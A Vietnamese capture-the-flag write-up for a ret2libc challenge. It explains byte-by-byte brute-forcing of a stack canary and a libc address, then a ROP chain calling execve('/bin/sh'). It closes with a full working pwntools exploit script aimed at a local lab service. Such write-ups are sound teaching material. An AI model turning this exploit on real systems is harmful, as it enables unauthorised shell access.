🤕ret2libc
Challenge
Challenge

Ở thử thách này, tôi chỉ nhận được file libc.so.6.
Và 2 file docker để chạy môi trường trên máy của mình.

Chạy file buildnrun.sh để setup môi trường.


==> Tôi đã ghi đè 40 byte để có thể xảy ra lỗi *** stack smashing detected ***.
Overview
Overview
Tôi sẽ nói qua về lỗi này 1 chút trước khi bắt đầu phân tích bài này. Tôi có chương trình cơ bản sau:
gcc source.c -o source -no-pie
#include<stdio.h>
int main(){
char buffer[32];
printf("Input data: ");
gets(buffer);
return 0;
}

+ Phần mũi tên màu xanh chính là canary vì canary thường có byte \x00 ở cuối
+ Phần mũi tên màu vàng có thể là giá trị 0x1 hoặc giá trị 0x0
+ Ngay bên dưới nó là
__libc_start_call_main
nếu ret ở hàmmain
.+ Bên dưỡi nó nữa là 1 byte null
+ Và bên dưới byte null nó là địa chỉ của hàm
main()
.
Khi mà ta ghi đè lên canary thì lỗi này sẽ xảy ra. Mà giá trị canary chỉ xuất hiện khi stack-protector được bật. Vậy nên, bạn có thể đoán được luôn rằng chương trình bên trên cũng được bật stack giống như chương trình này.
Vậy kĩ thuật bypass Canary là cần thiết :>>
Script
Script
Quay trở lại vấn đề chính. Một câu hỏi đặt ra đó là làm thế nào để có thể bypass được Canary. Thì đơn giản chỉ là gửi 1 payload có chứa giá trị của canary là được. Vậy làm thế nào để biết được giá trị canary đó ?
Bạn chỉ cần làm được 2 việc trên thì mọi chuyện coi như xong
Leak Canary
Leak Canary
Trong bước này, ta phải leak từng byte ra ngoài màn hình để chương trình không bị lỗi.
Và giá trị của canary có thể như sau:
Byte cuối cùng có nó luôn là \x00 nên ta phải lặp lại tất cả là 7 lần và ta sẽ thử từ 0x00 --> 0xFF.
Trước tiên tạo khung chương trình đã:
#!/usr/bin/env python3
from pwn import *
libc = ELF("./libc.so.6")
r = remote("0", 10001)
<code_here>
r.interactive()

Đây là phần code của tôi để leak được canary theo như logic trên.

Sau khi bạn chạy code trên thì bạn sẽ nhận được canary được leak ra.
Vậy bước tiếp theo là leak địa chỉ ngay sau canary. Có thể là địa chỉ libc hoặc địa chỉ của file binary. Nhưng tôi khá chắc chắn 80% là libc.
Leak LIBC
Leak LIBC
Bạn hãy nhìn lại phần Overview trước khi làm tiếp.


Nhưng có 1 vấn đề: Đó là ta không có file binary để lấy các gadget như pop rdi
. Nên tôi sẽ phải leak được địa chỉ libc để có thể lấy được các gadget ở file libc.so.6
.
Vậy giờ lấy như nào?
stack mà bạn thấy ở trên kia tôi lấy ở chương trình ở overview mà chương trình đó tôi đã biên dịch bằng file libc.so.6 mà đề bài cho. Nên bạn có thể thấy luôn offset của nó là 0xd90
Nếu leak từng byte của 1 địa chỉ libc thì ta cần tất cả (6-1) lần thực hiện. Vì 1 địa chỉ thường chiếm 6 bytes. Mà ta đã đoán được 1,5 bytes của địa chỉ đó rồi. (thực ra là 2,5 bytes - tính cả byte 0x7F).
Vậy tổng lần thực hiện là 5 lần. Lần đầu tiên tôi sẽ xử lí 0,5 byte của bytes thứ 2 trước. (Làm tương tự như với canary)

Đây là phần code mà tôi sẽ lấy 2 byte cuối cùng của địa chỉ libc.
Tiếp theo tôi sẽ xử lí 4 bytes tiếp theo.


Bạn có thể thêm đoạn này vào chương trình:
stack.append(0)
stack.append(0)
stack_addr = u64(bytes(stack))
log.success(f"Stack found: {hex(stack_addr)}")
Để nó in ra như thế này:
Libc Base
Libc Base
Sau khi leak được địa chỉ của libc thì tôi sẽ đi tìm libc base. Và các rop_gadget của file libc đó.

Get Shell
Get Shell
Phần này làm tương tự như các bài khác:

Okii, vậy đã khai thác thành công:

Full Payload
Full Payload
#!/usr/bin/env python3
from pwn import *
libc = ELF("./libc.so.6")
r = remote("0", 10001)
#######################
# LEAK CANARY #
#######################
canary = [0x00]
r.recvuntil(b"> ")
for i in range(7):
for j in range(0x100):
payload = b"A" * 40
payload += b"".join(p8(b) for b in canary) # num to byte in canary
payload += p8(j) #byte to bruteforce
r.send(payload)
if b"*** stack smashing detected ***" not in r.recvuntil(b"> "):
log.success(f"Byte found: {hex(j)}")
canary.append(j)
break
canary = u64(bytes(canary))
log.success(f"Canary found: {hex(canary)}")
######################
# Stack LEAK #
######################
stack = [0x90]
for i in range(0x10):
payload = b"A" * 40 + p64(canary) + p64(0x0)
payload += b"".join(p8(b) for b in stack) # send byte 0x90
payload += p8(i << 4 | 0xd90 >> 8) # send byte 0x<i>d
r.send(payload)
if b"Segmentation fault" not in r.recvuntil(b"> "):
log.success(f"Stack found {hex(i << 12 | 0xd90)}")
stack.append(i << 4 | 0xd90 >> 8) # concatenation 0x<i>d90
break
for k in range(4):
for j in range(0x100):
payload = b"A" * 40 + p64(canary) + p64(0x0)
payload += b"".join(p8(b) for b in stack) # send byte 0x<i>d90
payload += p8(j) # Send byte: 0x<j>
r.send(payload)
if b"Segmentation fault" not in r.recvuntil(b"> "):
log.success(f"Stack found {hex(j)}")
stack.append(j) # concatenation 0x<j>
break
stack.append(0)
stack.append(0)
stack_addr = u64(bytes(stack))
log.success(f"Stack found: {hex(stack_addr)}")
libc.address = stack_addr - 171408
log.success(f"LIBC Base: {hex(libc.address)}")
##################
# ROP gadget #
##################
pop_rdi = 0x000000000002a3e5 + libc.address
ret = pop_rdi + 1
pop_rsi = 0x000000000002be51 + libc.address
pop_rdx_rbx = 0x0000000000090529 + libc.address
context.log_level = "DEBUG"
payload = b"A" * 40 + p64(canary) + p64(0x0)
payload += p64(ret)
payload += p64(pop_rdi) + p64(next(libc.search(b"/bin/sh")))
payload += p64(pop_rsi) + p64(0x0)
payload += p64(pop_rdx_rbx) + p64(0x0) + p64(0x0)
payload += p64(libc.sym["execve"])
r.sendline(payload)
r.interactive()
Last updated